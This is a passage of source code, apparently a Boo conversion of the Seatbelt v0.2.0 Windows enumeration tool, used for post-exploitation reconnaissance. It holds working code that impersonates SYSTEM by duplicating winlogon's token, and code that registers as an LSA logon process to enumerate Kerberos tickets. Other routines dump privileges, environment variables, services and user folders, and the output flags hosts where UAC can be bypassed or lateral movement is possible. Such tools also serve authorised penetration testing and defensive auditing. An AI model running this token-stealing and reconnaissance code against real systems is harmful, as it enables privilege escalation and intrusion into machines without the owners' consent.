[MarshalAs(UnmanagedType.U1)]
public mac6 as byte
[MarshalAs(UnmanagedType.U1)]
public mac7 as byte
[MarshalAs(UnmanagedType.U4)]
public dwAddr as int
[MarshalAs(UnmanagedType.U4)]
public dwType as int
public enum ArpEntryType:
Other = 1
Invalid = 2
Dynamic = 3
Static = 4
// helpers (registry, UNC paths, etc.)
public static def OpenServer(Name as String) as IntPtr:
server as IntPtr = WTSOpenServer(Name)
return server
public static def CloseServer(ServerHandle as IntPtr):
WTSCloseServer(ServerHandle)
public static def TranslateSid(Sid as string) as string:
// adapted from http://www.pinvoke.net/default.aspx/advapi32.LookupAccountSid
accountSid = SecurityIdentifier(Sid)
accountSidByes as (byte) = array(byte, accountSid.BinaryLength)
accountSid.GetBinaryForm(accountSidByes, 0)
name = StringBuilder()
cchName = (name.Capacity cast uint)
referencedDomainName = StringBuilder()
cchReferencedDomainName = (referencedDomainName.Capacity cast uint)
sidUse as SID_NAME_USE
err = 0
if not LookupAccountSid(null, accountSidByes, name, cchName, referencedDomainName, cchReferencedDomainName, sidUse):
err = System.Runtime.InteropServices.Marshal.GetLastWin32Error()
if err == ERROR_INSUFFICIENT_BUFFER:
name.EnsureCapacity((cchName cast int))
referencedDomainName.EnsureCapacity((cchReferencedDomainName cast int))
err = 0
if not LookupAccountSid(null, accountSidByes, name, cchName, referencedDomainName, cchReferencedDomainName, sidUse):
err = System.Runtime.InteropServices.Marshal.GetLastWin32Error()
if err == 0:
return String.Format('{0}\\{1}', referencedDomainName.ToString(), name.ToString())
else:
return ''
public static def PrintLogo():
Console.WriteLine('\r\n\r\n %&&@@@&& ')
Console.WriteLine(' &&&&&&&%%%, #&&@@@@@@%%%%%%###############% ')
Console.WriteLine(' &%& %&%% &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%')
Console.WriteLine('%%%%%%%%%%%######%%%#%%####% &%%**# @////(((&%%%%%%######################(((((((((((((((((((')
Console.WriteLine('#%#%%%%%%%#######%#%%####### %&%,,,,,,,,,,,,,,,, @////(((&%%%%%#%#####################(((((((((((((((((((')
Console.WriteLine('#%#%%%%%%#####%%#%#%%####### %%%,,,,,, ,,. ,, @////(((&%%%%%%%######################(#(((#(#((((((((((')
Console.WriteLine('#####%%%#################### &%%...... ... .. @////(((&%%%%%%%###############%######((#(#(####((((((((')
Console.WriteLine('#######%##########%######### %%%...... ... .. @////(((&%%%%%#########################(#(#######((#####')
Console.WriteLine('###%##%%#################### &%%............... @////(((&%%%%%%%%##############%#######(#########((#####')
Console.WriteLine('#####%###################### %%%.. @////(((&%%%%%%%################ ')
Console.WriteLine(' &%& %%%%% Seatbelt %////(((&%%%%%%%%#############* ')
Console.WriteLine(' &%%&&&%%%%% v0.2.0 ,(((&%%%%%%%%%%%%%%%%%, ')
Console.WriteLine(' #%%%%##, \r\n\r\n')
public static def GetRegValue(hive as string, path as string, value as string) as string:
// returns a single registry value under the specified path in the specified hive (HKLM/HKCU)
regKey as duck
regKeyValue = ''
if hive == 'HKCU':
regKey = Registry.CurrentUser.OpenSubKey(path)
if regKey is not null:
regKeyValue = String.Format('{0}', regKey.GetValue(value))
return regKeyValue
elif hive == 'HKU':
regKey = Registry.Users.OpenSubKey(path)
if regKey is not null:
regKeyValue = String.Format('{0}', regKey.GetValue(value))
return regKeyValue
else:
regKey = Registry.LocalMachine.OpenSubKey(path)
if regKey is not null:
regKeyValue = String.Format('{0}', regKey.GetValue(value))
return regKeyValue
public static def GetRegValueBytes(hive as string, path as string, value as string) as (byte):
// returns a byte array of single registry value under the specified path in the specified hive (HKLM/HKCU)
regKey as duck
regKeyValue as (byte) = null
if hive == 'HKCU':
regKey = Registry.CurrentUser.OpenSubKey(path)
if regKey is not null:
regKeyValue = (regKey.GetValue(value) cast (byte))
return regKeyValue
elif hive == 'HKU':
regKey = Registry.Users.OpenSubKey(path)
if regKey is not null:
regKeyValue = (regKey.GetValue(value) cast (byte))
return regKeyValue
else:
regKey = Registry.LocalMachine.OpenSubKey(path)
if regKey is not null:
regKeyValue = (regKey.GetValue(value) cast (byte))
return regKeyValue
public static def GetRegValues(hive as string, path as string) as Dictionary[of string, object]:
// returns all registry values under the specified path in the specified hive (HKLM/HKCU)
valueNames as duck
keyValuePairs as Dictionary[of string, object] = null
try:
if hive == 'HKCU':
using regKeyValues = Registry.CurrentUser.OpenSubKey(path):
if regKeyValues is not null:
valueNames = regKeyValues.GetValueNames()
keyValuePairs = valueNames.ToDictionary({ name | return name }, regKeyValues.GetValue)
elif hive == 'HKU':
using regKeyValues = Registry.Users.OpenSubKey(path):
if regKeyValues is not null:
valueNames = regKeyValues.GetValueNames()
keyValuePairs = valueNames.ToDictionary({ name | return name }, regKeyValues.GetValue)
else:
using regKeyValues = Registry.LocalMachine.OpenSubKey(path):
if regKeyValues is not null:
valueNames = regKeyValues.GetValueNames()
keyValuePairs = valueNames.ToDictionary({ name | return name }, regKeyValues.GetValue)
return keyValuePairs
except :
return null
public static def GetRegSubkeys(hive as string, path as string) as (string):
// returns an array of the subkeys names under the specified path in the specified hive (HKLM/HKCU/HKU)
try:
myKey as Microsoft.Win32.RegistryKey = null
if hive == 'HKLM':
myKey = Registry.LocalMachine.OpenSubKey(path)
elif hive == 'HKU':
myKey = Registry.Users.OpenSubKey(path)
else:
myKey = Registry.CurrentUser.OpenSubKey(path)
subkeyNames as (String) = myKey.GetSubKeyNames()
return myKey.GetSubKeyNames()
except :
return array(string, 0)
public static def GetUNCPath(originalPath as string) as string:
// uses WNetGetConnection to map a drive letter to a possible UNC mount path
// Pulled from @ambyte's gist at https://gist.github.com/ambyte/01664dc7ee576f69042c
sb = StringBuilder(512)
size as int = sb.Capacity
// look for the {LETTER}: combination ...
if (originalPath.Length > 2) and (originalPath[1] == char(':')):
// don't use char.IsLetter here - as that can be misleading
// the only valid drive letters are a-z && A-Z.
c as char = originalPath[0]
if ((c >= char('a')) and (c <= char('z'))) or ((c >= char('A')) and (c <= char('Z'))):
error as int = WNetGetConnection(originalPath.Substring(0, 2), sb, size)
if error == 0:
dir = DirectoryInfo(originalPath)
path as string = Path.GetFullPath(originalPath).Substring(Path.GetPathRoot(originalPath).Length)
return Path.Combine(sb.ToString().TrimEnd(), path)
return originalPath
public static def IsHighIntegrity() as bool:
// returns true if the current process is running with adminstrative privs in a high integrity context
identity as WindowsIdentity = WindowsIdentity.GetCurrent()
principal = WindowsPrincipal(identity)
return principal.IsInRole(WindowsBuiltInRole.Administrator)
public static def GetLocalGroupMembers(groupName as string) as (string):
// returns the "DOMAIN\user" members for a specified local group name
// adapted from boboes' code at https://stackoverflow.com/questions/33935825/pinvoke-netlocalgroupgetmembers-runs-into-fatalexecutionengineerror/33939889#33939889
computerName as string = null
// null for the local machine
EntriesRead as int
TotalEntries as int
Resume as IntPtr
bufPtr as IntPtr
retVal as uint = NetworkAPI.NetLocalGroupGetMembers(computerName, groupName, 2, bufPtr, -1, EntriesRead, TotalEntries, Resume)
if retVal != 0:
if retVal == NetworkAPI.ERROR_ACCESS_DENIED:
Console.WriteLine('Access denied')
return null
if retVal == NetworkAPI.ERROR_MORE_DATA:
Console.WriteLine('ERROR_MORE_DATA')
return null
if retVal == NetworkAPI.ERROR_NO_SUCH_ALIAS:
Console.WriteLine('Group not found')
return null
if retVal == NetworkAPI.NERR_InvalidComputer:
Console.WriteLine('Invalid computer name')
return null
if retVal == NetworkAPI.NERR_GroupNotFound:
Console.WriteLine('Group not found')
return null
if retVal == NetworkAPI.SERVER_UNAVAILABLE:
Console.WriteLine('Server unavailable')
return null
Console.WriteLine(('Unexpected NET_API_STATUS: ' + retVal.ToString()))
return null
if EntriesRead > 0:
names as (string) = array(string, EntriesRead)
Members as (NetworkAPI.LOCALGROUP_MEMBERS_INFO_2) = array(NetworkAPI.LOCALGROUP_MEMBERS_INFO_2, EntriesRead)
iter as IntPtr = bufPtr
for i in range(0, EntriesRead):
Members[i] = (Marshal.PtrToStructure(iter, typeof(NetworkAPI.LOCALGROUP_MEMBERS_INFO_2)) cast NetworkAPI.LOCALGROUP_MEMBERS_INFO_2)
//x64 safe
iter = IntPtr((iter.ToInt64() + Marshal.SizeOf(typeof(NetworkAPI.LOCALGROUP_MEMBERS_INFO_2))))
names[i] = Members[i].lgrmi2_domainandname
NetworkAPI.NetApiBufferFree(bufPtr)
return names
else:
return null
public static def GetTokenGroupSIDs() as (string):
// Returns all SIDs that the current user is a part of, whether they are disabled or not.
// slightly adapted from https://stackoverflow.com/questions/2146153/how-to-get-the-logon-sid-in-c-sharp/2146418#2146418
TokenInfLength = 0
// first call gets length of TokenInformation
Result as bool = GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenGroups, IntPtr.Zero, TokenInfLength, TokenInfLength)
TokenInformation as IntPtr = Marshal.AllocHGlobal(TokenInfLength)
Result = GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenGroups, TokenInformation, TokenInfLength, TokenInfLength)
if not Result:
Marshal.FreeHGlobal(TokenInformation)
return null
groups = (Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_GROUPS)) cast TOKEN_GROUPS)
userSIDS as (string) = array(string, groups.GroupCount)
sidAndAttrSize as int = Marshal.SizeOf(SID_AND_ATTRIBUTES())
for i in range(0, groups.GroupCount):
sidAndAttributes = (Marshal.PtrToStructure(IntPtr(((TokenInformation.ToInt64() + (i * sidAndAttrSize)) + IntPtr.Size)), typeof(SID_AND_ATTRIBUTES)) cast SID_AND_ATTRIBUTES)
pstr as IntPtr = IntPtr.Zero
ConvertSidToStringSid(sidAndAttributes.Sid, pstr)
userSIDS[i] = Marshal.PtrToStringAuto(pstr)
LocalFree(pstr)
Marshal.FreeHGlobal(TokenInformation)
return userSIDS
public static def GetSystem() as bool:
// helper to elevate to SYSTEM for Kerberos ticket enumeration via token impersonation
if IsHighIntegrity():
hToken as IntPtr = IntPtr.Zero
// Open winlogon's token with TOKEN_DUPLICATE accesss so ca can make a copy of the token with DuplicateToken
processes as (Process) = Process.GetProcessesByName('winlogon')
handle as IntPtr = processes[0].Handle
// TOKEN_DUPLICATE = 0x0002
success as bool = OpenProcessToken(handle, 2, hToken)
if not success:
//Console.WriteLine("OpenProcessToken failed!");
return false
// make a copy of the NT AUTHORITY\SYSTEM token from winlogon
// 2 == SecurityImpersonation
hDupToken as IntPtr = IntPtr.Zero
success = DuplicateToken(hToken, 2, hDupToken)
if not success:
//Console.WriteLine("DuplicateToken failed!");
return false
success = ImpersonateLoggedOnUser(hDupToken)
if not success:
//Console.WriteLine("ImpersonateLoggedOnUser failed!");
return false
// clean up the handles we created
CloseHandle(hToken)
CloseHandle(hDupToken)
name as string = System.Security.Principal.WindowsIdentity.GetCurrent().Name
if name != 'NT AUTHORITY\\SYSTEM':
return false
return true
else:
return false
public static def LsaRegisterLogonProcessHelper() as IntPtr:
// helper that establishes a connection to the LSA server and verifies that the caller is a logon application
// used for Kerberos ticket enumeration
logonProcessName = 'User32LogonProcesss'
LSAString as LSA_STRING_IN
lsaHandle as IntPtr = IntPtr.Zero
securityMode as UInt64 = 0
LSAString.Length = (logonProcessName.Length cast ushort)
LSAString.MaximumLength = ((logonProcessName.Length + 1) cast ushort)
LSAString.Buffer = logonProcessName
ret as int = LsaRegisterLogonProcess(LSAString, lsaHandle, securityMode)
return lsaHandle
public static def IsLocalAdmin() as bool:
// checks if the "S-1-5-32-544" in the current token groups set, meaning the user is a local administrator
SIDs as (string) = GetTokenGroupSIDs()
for SID as string in SIDs:
if SID == 'S-1-5-32-544':
return true
return false
public static def IsVirtualMachine() as bool:
// returns true if the system is likely a virtual machine
// Adapted from RobSiklos' code from https://stackoverflow.com/questions/498371/how-to-detect-if-my-application-is-running-in-a-virtual-machine/11145280#11145280
using searcher = System.Management.ManagementObjectSearcher('Select * from Win32_ComputerSystem'):
using items = searcher.Get():
for item as duck in items:
manufacturer as string = item['Manufacturer'].ToString().ToLower()
if (((manufacturer == 'microsoft corporation') and item['Model'].ToString().ToUpperInvariant().Contains('VIRTUAL')) or manufacturer.Contains('vmware')) or (item['Model'].ToString() == 'VirtualBox'):
return true
return false
public static def CheckAccess(Path as string, AccessRight as FileSystemRights) as bool:
// checks if the current user has the specified AccessRight to the specified file or folder
// adapted from https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345
if string.IsNullOrEmpty(Path):
return false
try:
rules as AuthorizationRuleCollection = Directory.GetAccessControl(Path).GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier))
identity as WindowsIdentity = WindowsIdentity.GetCurrent()
for rule as FileSystemAccessRule in rules:
if identity.Groups.Contains(rule.IdentityReference):
if (AccessRight & rule.FileSystemRights) == AccessRight:
if rule.AccessControlType == AccessControlType.Allow:
return true
except :
pass
return false
public static def CheckModifiableAccess(Path as string) as bool:
// checks if the current user has rights to modify the given file/directory
// adapted from https://stackoverflow.com/questions/1410127/c-sharp-test-if-user-has-write-access-to-a-folder/21996345#21996345
if string.IsNullOrEmpty(Path):
return false
// TODO: check if file exists, check file's parent folder
ModifyRights as (FileSystemRights) = (FileSystemRights.ChangePermissions, FileSystemRights.FullControl, FileSystemRights.Modify, FileSystemRights.TakeOwnership, FileSystemRights.Write, FileSystemRights.WriteData, FileSystemRights.CreateDirectories, FileSystemRights.CreateFiles)
paths = ArrayList()
paths.Add(Path)
try:
attr as FileAttributes = System.IO.File.GetAttributes(Path)
if (attr & FileAttributes.Directory) != FileAttributes.Directory:
parentFolder as string = System.IO.Path.GetDirectoryName(Path)
paths.Add(parentFolder)
except :
return false
try:
for candidatePath as string in paths:
rules as AuthorizationRuleCollection = Directory.GetAccessControl(candidatePath).GetAccessRules(true, true, typeof(System.Security.Principal.SecurityIdentifier))
identity as WindowsIdentity = WindowsIdentity.GetCurrent()
for rule as FileSystemAccessRule in rules:
if identity.Groups.Contains(rule.IdentityReference):
for AccessRight as FileSystemRights in ModifyRights:
if (AccessRight & rule.FileSystemRights) == AccessRight:
if rule.AccessControlType == AccessControlType.Allow:
return true
return false
except :
return false
public static def FindFiles(path as string, patterns as string) as List[of string]:
// finds files matching one or more patterns under a given path, recursive
// adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/
// pattern: "*pass*;*.png;"
files as List[of string] = List[of string]()
try:
// search every pattern in this directory's files
for pattern as string in patterns.Split(char(';')):
files.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly))
// go recurse in all sub-directories
for directory in Directory.GetDirectories(path):
files.AddRange(FindFiles(directory, patterns))
except converterGeneratedName1 as UnauthorizedAccessException:
pass
except converterGeneratedName2 as PathTooLongException:
pass
return files
public static def Split(text as string, partLength as int) as IEnumerable[of string]:
if text is null:
Console.WriteLine('[ERROR] Split() - singleLineString')
if partLength < 1:
Console.WriteLine('[ERROR] Split() - \'columns\' must be greater than 0.')
partCount = Math.Ceiling(((text.Length cast double) / partLength))
if partCount < 2:
yield text
for i in range(0, partCount):
index = (i * partLength)
lengthLeft = Math.Min(partLength, (text.Length - index))
line as string = text.Substring(index, lengthLeft)
yield line
// start of checks
// system-focused checks
public static def ListBasicOSInfo():
// returns basic OS/host information, including:
// Windows version information
// integrity/admin levels
// processor count/architecture
// basic user and domain information
// whether the system is a VM
// etc.
ProductName as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ProductName')
EditionID as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'EditionID')
ReleaseId as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'ReleaseId')
BuildBranch as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'BuildBranch')
CurrentMajorVersionNumber as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CurrentMajorVersionNumber')
CurrentVersion as string = GetRegValue('HKLM', 'Software\\Microsoft\\Windows NT\\CurrentVersion', 'CurrentVersion')
isHighIntegrity as bool = IsHighIntegrity()
isLocalAdmin as bool = IsLocalAdmin()
arch as string = System.Environment.GetEnvironmentVariable('PROCESSOR_ARCHITECTURE')
userName as string = System.Environment.GetEnvironmentVariable('USERNAME')
ProcessorCount as string = System.Environment.ProcessorCount.ToString()
isVM as bool = IsVirtualMachine()
now as DateTime = DateTime.UtcNow
boot as DateTime = (now - TimeSpan.FromMilliseconds(Environment.TickCount))
BootTime as DateTime = (boot + TimeSpan.FromMilliseconds(System.Environment.TickCount))
strHostName as String = Dns.GetHostName()
properties as IPGlobalProperties = IPGlobalProperties.GetIPGlobalProperties()
dnsDomain as string = properties.DomainName
Console.WriteLine('\r\n\r\n=== Basic OS Information ===\r\n')
Console.WriteLine(String.Format(' {0,-30}: {1}', 'Hostname', strHostName))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'Domain Name', dnsDomain))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'Username', WindowsIdentity.GetCurrent().Name))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'ProductName', ProductName))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'EditionID', EditionID))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'ReleaseId', ReleaseId))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'BuildBranch', BuildBranch))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'CurrentMajorVersionNumber', CurrentMajorVersionNumber))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'CurrentVersion', CurrentVersion))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'Architecture', arch))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'ProcessorCount', ProcessorCount))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'IsVirtualMachine', isVM))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'BootTime (approx)', BootTime))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'HighIntegrity', isHighIntegrity))
Console.WriteLine(String.Format(' {0,-30}: {1}', 'IsLocalAdmin', isLocalAdmin))
if (not isHighIntegrity) and isLocalAdmin:
Console.WriteLine(' [*] In medium integrity but user is a local administrator- UAC can be bypassed.')
public static def ListRebootSchedule():
// queries event IDs 12 (kernel boot) and 13 (kernel shutdown), sorts, and gives reboot schedule
// grab events from the last X days - 15 for default
// eventID 12 == start up
time as date
lastDays = 15
Console.WriteLine('\r\n\r\n=== Reboot Schedule (event ID 12/13 from last {0} days) ===\r\n', lastDays)
events as SortedDictionary[of date, string] = SortedDictionary[of date, string]()
startTime as DateTime = System.DateTime.Now.AddDays(-lastDays)
endTime as DateTime = System.DateTime.Now
query as string = string.Format('*[System/EventID=12] and *[System[TimeCreated[@SystemTime >= \'{0}\']]] and *[System[TimeCreated[@SystemTime <= \'{1}\']]]', startTime.ToUniversalTime().ToString('o'), endTime.ToUniversalTime().ToString('o'))
eventsQuery = EventLogQuery('System', PathType.LogName, query)
try:
logReader = EventLogReader(eventsQuery)
eventdetail as EventRecord = logReader.ReadEvent()
goto converterGeneratedName3
while true:
eventdetail = logReader.ReadEvent()
:converterGeneratedName3
break unless (eventdetail is not null)
time = DateTime.Parse(eventdetail.Properties[6].Value.ToString())
events.Add(time, 'startup')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
// eventID 13 == shutdown
query2 as string = string.Format('*[System/EventID=13] and *[System[TimeCreated[@SystemTime >= \'{0}\']]] and *[System[TimeCreated[@SystemTime <= \'{1}\']]]', startTime.ToUniversalTime().ToString('o'), endTime.ToUniversalTime().ToString('o'))
eventsQuery2 = EventLogQuery('System', PathType.LogName, query2)
try:
logReader2 = EventLogReader(eventsQuery2)
eventdetail2 as EventRecord = logReader2.ReadEvent()
goto converterGeneratedName4
while true:
eventdetail2 = logReader2.ReadEvent()
:converterGeneratedName4
break unless (eventdetail2 is not null)
time = DateTime.Parse(eventdetail2.Properties[0].Value.ToString())
events.Add(time, 'shutdown')
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
for kvp in events:
Console.WriteLine(String.Format(' {0,-23} : {1}', kvp.Key, kvp.Value))
if kvp.Value == 'shutdown':
Console.WriteLine()
public static def ListTokenGroupPrivs():
// Returns all privileges that the current process/user possesses
// adapted from https://stackoverflow.com/questions/4349743/setting-size-of-token-privileges-luid-and-attributes-array-returned-by-gettokeni
try:
Console.WriteLine('\r\n\r\n=== Current Privileges ===\r\n')
TokenInfLength = 0
ThisHandle as IntPtr = WindowsIdentity.GetCurrent().Token
GetTokenInformation(ThisHandle, TOKEN_INFORMATION_CLASS.TokenPrivileges, IntPtr.Zero, TokenInfLength, TokenInfLength)
TokenInformation as IntPtr = Marshal.AllocHGlobal(TokenInfLength)
if GetTokenInformation(WindowsIdentity.GetCurrent().Token, TOKEN_INFORMATION_CLASS.TokenPrivileges, TokenInformation, TokenInfLength, TokenInfLength):
ThisPrivilegeSet = (Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_PRIVILEGES)) cast TOKEN_PRIVILEGES)
for index in range(0, ThisPrivilegeSet.PrivilegeCount):
laa as LUID_AND_ATTRIBUTES = ThisPrivilegeSet.Privileges[index]
StrBuilder as System.Text.StringBuilder = System.Text.StringBuilder()
LuidNameLen = 0
LuidPointer as IntPtr = Marshal.AllocHGlobal(Marshal.SizeOf(laa.Luid))
Marshal.StructureToPtr(laa.Luid, LuidPointer, true)
LookupPrivilegeName(null, LuidPointer, null, LuidNameLen)
StrBuilder.EnsureCapacity((LuidNameLen + 1))
if LookupPrivilegeName(null, LuidPointer, StrBuilder, LuidNameLen):
Console.WriteLine(String.Format(' {0,43}: {1}', StrBuilder.ToString(), (laa.Attributes cast LuidAttributes)))
Marshal.FreeHGlobal(LuidPointer)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListUserEnvVariables():
try:
// dumps out current user environment variables
Console.WriteLine('\r\n\r\n=== User Environment Variables ===\r\n')
for env as System.Collections.DictionaryEntry in Environment.GetEnvironmentVariables():
name = (env.Key cast string)
value = (env.Value cast string)
Console.WriteLine(' {0,-35} : {1}', name, value)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListSystemEnvVariables():
// dumps out current system environment variables
Console.WriteLine('\r\n\r\n=== System Environment Variables ===\r\n')
settings as Dictionary[of string, object] = GetRegValues('HKLM', 'SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Environment')
if (settings is not null) and (settings.Count != 0):
for kvp as KeyValuePair[of string, object] in settings:
Console.WriteLine(' {0,-35} : {1}', kvp.Key, kvp.Value)
public static def ListNonstandardServices():
// lists installed servics that don't have "Microsoft Corporation" as the company name in their file info
// or all services if "full" is passed
if FilterResults.filter:
Console.WriteLine('\r\n\r\n=== Non Microsoft Services (via WMI) ===\r\n')
else:
Console.WriteLine('\r\n\r\n=== All Services (via WMI) ===\r\n')
try:
wmiData = ManagementObjectSearcher('root\\cimv2', 'SELECT * FROM win32_service')
data as ManagementObjectCollection = wmiData.Get()
for result as ManagementObject in data:
//OLD - if ((result["PathName"] != null) && ((!FilterResults.filter) || (!Regex.IsMatch(result["PathName"].ToString(), "C:\\\\WINDOWS\\\\", RegexOptions.IgnoreCase))))
if result['PathName'] is not null:
path as Match = Regex.Match(result['PathName'].ToString(), '^\\W*([a-z]:\\\\.+?(\\.exe|\\.dll|\\.sys))\\W*', RegexOptions.IgnoreCase)
binaryPath as String = path.Groups[1].ToString()
myFileVersionInfo as FileVersionInfo = FileVersionInfo.GetVersionInfo(binaryPath)
companyName as string = myFileVersionInfo.CompanyName
if (String.IsNullOrEmpty(companyName) or (not FilterResults.filter)) or (not Regex.IsMatch(companyName, '^Microsoft.*', RegexOptions.IgnoreCase)):
isDotNet = false
try:
myAssemblyName as AssemblyName = AssemblyName.GetAssemblyName(binaryPath)
isDotNet = true
except converterGeneratedName5 as System.IO.FileNotFoundException:
pass
// System.Console.WriteLine("The file cannot be found.");
except exception as System.BadImageFormatException:
if Regex.IsMatch(exception.Message, '.*This assembly is built by a runtime newer than the currently loaded runtime and cannot be loaded.*', RegexOptions.IgnoreCase):
isDotNet = true
except :
pass
// System.Console.WriteLine("The assembly has already been loaded.");
Console.WriteLine(' Name : {0}', result['Name'])
Console.WriteLine(' DisplayName : {0}', result['DisplayName'])
Console.WriteLine(' Company Name : {0}', companyName)
Console.WriteLine(' Description : {0}', result['Description'])
Console.WriteLine(' State : {0}', result['State'])
Console.WriteLine(' StartMode : {0}', result['StartMode'])
Console.WriteLine(' PathName : {0}', result['PathName'])
Console.WriteLine(' IsDotNet : {0}\r\n', isDotNet)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListUserFolders():
// lists the folders in C:\Users\, showing users who have logged onto the system
try:
Console.WriteLine('\r\n\r\n=== User Folders ===\r\n')
userPath as string = String.Format('{0}\\Users\\', Environment.GetEnvironmentVariable('SystemDrive'))
dirs as (string) = Directory.GetDirectories(userPath)
Console.WriteLine(' {0,-35} {1}', 'Folder', 'Last Modified Time')
for dir as string in dirs:
if not (((dir.EndsWith('Public') or dir.EndsWith('Default')) or dir.EndsWith('Default User')) or dir.EndsWith('All Users')):
dt as DateTime = Directory.GetLastWriteTime(dir)
Console.WriteLine(' {0,-35} : {1}', dir, dt)
except ex as Exception:
Console.WriteLine(' [X] Exception: {0}', ex.Message)
public static def ListUACSystemPolicies():
// dump out various UAC system policies
Console.WriteLine('\r\n\r\n=== UAC System Policies ===\r\n')
ConsentPromptBehaviorAdmin as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'ConsentPromptBehaviorAdmin')
converterGeneratedName6 = ConsentPromptBehaviorAdmin
if converterGeneratedName6 == '0':
Console.WriteLine(' {0,-30} : {1} - No prompting', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
elif converterGeneratedName6 == '1':
Console.WriteLine(' {0,-30} : {1} - PromptOnSecureDesktop', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
elif converterGeneratedName6 == '2':
Console.WriteLine(' {0,-30} : {1} - PromptPermitDenyOnSecureDesktop', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
elif converterGeneratedName6 == '3':
Console.WriteLine(' {0,-30} : {1} - PromptForCredsNotOnSecureDesktop', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
elif converterGeneratedName6 == '4':
Console.WriteLine(' {0,-30} : {1} - PromptForPermitDenyNotOnSecureDesktop', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
elif converterGeneratedName6 == '5':
Console.WriteLine(' {0,-30} : {1} - PromptForNonWindowsBinaries', 'ConsentPromptBehaviorAdmin', ConsentPromptBehaviorAdmin)
else:
Console.WriteLine(' {0,-30} : PromptForNonWindowsBinaries', 'ConsentPromptBehaviorAdmin')
EnableLUA as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'EnableLUA')
Console.WriteLine(' {0,-30} : {1}', 'EnableLUA', EnableLUA)
if (EnableLUA == '') or (EnableLUA == '0'):
Console.WriteLine(' [*] EnableLUA != 1, UAC policies disabled.\r\n [*] Any local account can be used for lateral movement.')
LocalAccountTokenFilterPolicy as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'LocalAccountTokenFilterPolicy')
Console.WriteLine(' {0,-30} : {1}', 'LocalAccountTokenFilterPolicy', LocalAccountTokenFilterPolicy)
if (EnableLUA == '1') and (LocalAccountTokenFilterPolicy == '1'):
Console.WriteLine(' [*] LocalAccountTokenFilterPolicy set to 1.\r\n [*] Any local account can be used for lateral movement.')
FilterAdministratorToken as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System', 'FilterAdministratorToken')
Console.WriteLine(' {0,-30} : {1}', 'FilterAdministratorToken', FilterAdministratorToken)
if ((EnableLUA == '1') and (LocalAccountTokenFilterPolicy != '1')) and (FilterAdministratorToken != '1'):
Console.WriteLine(' [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken != 1.\r\n [*] Only the RID-500 local admin account can be used for lateral movement.')
if ((EnableLUA == '1') and (LocalAccountTokenFilterPolicy != '1')) and (FilterAdministratorToken == '1'):
Console.WriteLine(' [*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken == 1.\r\n [*] No local accounts can be used for lateral movement.')
public static def ListPowerShellSettings():
Console.WriteLine('\r\n\r\n=== PowerShell Settings ===\r\n')
PowerShellVersion2 as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\PowerShell\\1\\PowerShellEngine', 'PowerShellVersion')
Console.WriteLine(' {0,-30} : {1}', 'PowerShell v2 Version', PowerShellVersion2)
PowerShellVersion5 as string = GetRegValue('HKLM', 'SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine', 'PowerShellVersion')
Console.WriteLine(' {0,-30} : {1}', 'PowerShell v5 Version', PowerShellVersion5)
transcriptionSettings as Dictionary[of string, object] = GetRegValues('HKLM', 'SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription')
Console.WriteLine('\r\n Transcription Settings:\r\n')
if (transcriptionSettings is not null) and (transcriptionSettings.Count != 0):
for kvp as KeyValuePair[of string, object] in transcriptionSettings:
Console.WriteLine(' {0,30} : {1}\r\n', kvp.Key, kvp.Value)
moduleLoggingSettings as Dictionary[of string, object] = GetRegValues('HKLM', 'SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging')
Console.WriteLine(' Module Logging Settings:\r\n')
